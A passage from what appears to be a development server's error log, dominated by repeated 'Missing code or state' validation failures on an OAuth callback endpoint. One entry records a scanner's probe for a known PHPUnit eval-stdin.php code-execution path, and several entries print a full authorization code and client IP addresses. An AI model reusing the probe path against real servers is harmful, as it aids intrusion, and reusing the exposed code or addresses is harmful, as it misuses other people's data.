'/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758636644116_l48ww7oz4', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T14:11:36.300Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758636696299_jll4qvvx7', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:13:27.168Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758636807168_0lih9leqf' +} +❌ [ERROR] 2025-09-23T14:13:27.169Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758636807168_0lih9leqf', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T14:17:21.755Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:165.154.204.121', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36' + }, + requestId: 'req_1758637041754_sk9npa5su', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:19:54.115Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758637194115_cw2b92ha2' +} +❌ [ERROR] 2025-09-23T14:19:54.116Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758637194115_cw2b92ha2', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:26:25.096Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758637585095_ocz55d83a' +} +❌ [ERROR] 2025-09-23T14:26:25.096Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758637585095_ocz55d83a', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:32:56.266Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758637976265_kvskletff' +} +❌ [ERROR] 2025-09-23T14:32:56.267Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758637976265_kvskletff', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T14:33:20.980Z HTTP GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 5, + request: { + ip: '::ffff:92.243.24.12', + method: 'GET', + url: '/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php', + userAgent: 'Custom-AsyncHttpClient' + }, + requestId: 'req_1758638000975_9b5gspjnj', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:38:36.650Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758638316649_rjht420n8' +} +❌ [ERROR] 2025-09-23T14:38:36.653Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 4, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758638316649_rjht420n8', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:39:30.446Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758638370445_mda0q08wl' +} +❌ [ERROR] 2025-09-23T14:39:30.447Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758638370445_mda0q08wl', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:46:04.959Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758638764954_mcqiuwer8' +} +❌ [ERROR] 2025-09-23T14:46:04.962Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 7, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758638764954_mcqiuwer8', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.171.119.253', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:51:46.241Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758639106240_d4zn972jj' +} +❌ [ERROR] 2025-09-23T14:51:46.242Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758639106240_d4zn972jj', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:52:44.250Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758639164249_rh34r7cd0' +} +❌ [ERROR] 2025-09-23T14:52:44.251Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758639164249_rh34r7cd0', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T14:59:23.274Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758639563273_i16yld1f8' +} +❌ [ERROR] 2025-09-23T14:59:23.275Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758639563273_i16yld1f8', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:06:02.161Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758639962161_747vm04ud' +} +❌ [ERROR] 2025-09-23T15:06:02.162Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758639962161_747vm04ud', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:12:45.143Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758640365142_xdgmaa2vl' +} +❌ [ERROR] 2025-09-23T15:12:45.143Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758640365142_xdgmaa2vl', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T15:19:29.598Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758640769597_l52nc9332' +} +❌ [ERROR] 2025-09-23T15:19:29.599Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + 